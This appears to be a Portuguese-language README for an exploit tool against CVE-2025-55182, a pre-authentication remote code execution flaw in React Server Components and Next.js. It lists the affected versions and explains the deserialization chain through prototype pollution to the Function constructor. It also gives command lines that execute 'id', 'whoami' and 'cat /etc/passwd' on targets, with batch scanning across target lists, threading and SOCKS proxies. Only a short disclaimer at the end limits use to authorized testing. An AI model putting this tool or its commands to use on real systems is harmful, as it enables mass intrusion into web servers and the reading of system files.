
Exploit de execução remota de código sem pré-autenticação para React Server Components e Next.js via vulnerabilidade de desserialização. Suporta varredura de alvo único e em lote com proxy e threads.
React Server Components / Next.js Execução Remota de Código sem Autenticação
| Propriedade | Valor |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS | 10.0 (Crítico) |
| CWE | CWE-502: Desserialização de Dados Não Confiáveis |
| Tipo | Pre-Auth RCE |
| Componente | Versões Afetadas |
|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6 |
| Pacotes Relacionados | react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel |
Esta vulnerabilidade explora uma falha de desserialização no protocolo Flight dos React Server Components (RSC), alcançando execução remota de código não autorizada através da construção de uma requisição multipart/form-data maliciosa. A cadeia de exploração completa é a seguinte:
POST multipart/form-data combinado com o cabeçalho Next-Action, aciona o caminho de Server Action.$1:__proto__:then acessa Chunk.prototype.then no objeto Chunk 1 em estado PENDING, tornando-o um thenable.$1:constructor:constructor é resolvido via cadeia de protótipos para o construtor Function.Chunk.prototype.then chama initializeModelChunk para analisar o campo value '{"then":"$B0"}'.$B0 chama _formData.get(_prefix + "0"), ou seja, Function(code + "0").then própria, é tratado como um thenable e invocado, acionando a execução de código, resultando em RCE.pip install requests[socks]
O script tentará instalar automaticamente
requestsePySocksse estiverem faltando.
python CVE-2025-55182.py -u http://target:3000 -c "id"
python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt
python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt
# Proxy HTTP
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080
# Proxy SOCKS5
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080
python CVE-2025-55182.py -u http://target:3000 -c "id" -v
| Parâmetro | Descrição | Valor Padrão |
|---|---|---|
-u, --url | URL de um único alvo (mutualmente exclusivo com -f) | - |
-f, --file | Arquivo com lista de URLs de alvos, um por linha (mutualmente exclusivo com -u) | - |
-c, --command | Comando do sistema a ser executado (não obrigatório no modo --check) | - |
-o, --output | Arquivo de saída dos resultados | results.txt |
-t, --threads | Número de threads concorrentes | 10 |
-v, --verbose | Exibe saída de depuração | False |
--proxy | Endereço do proxy, suporta HTTP e SOCKS5 | - |
--timeout | Tempo limite da requisição (segundos) | 15 |
--check | Apenas verifica a vulnerabilidade, não executa comandos do sistema | False |
--verify-ssl | Verificar certificado TLS | False |
Os resultados da varredura em massa são gravados no arquivo de saída especificado por -o, registrando apenas os alvos confirmados como vulneráveis.
http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# Linhas de comentário são ignoradas
Esta ferramenta é destinada apenas para testes de segurança autorizados e fins de pesquisa em segurança. O usuário deve garantir que obteve autorização explícita do proprietário do sistema alvo. Realizar testes de penetração sem autorização é ilegal, e o usuário assume toda a responsabilidade legal.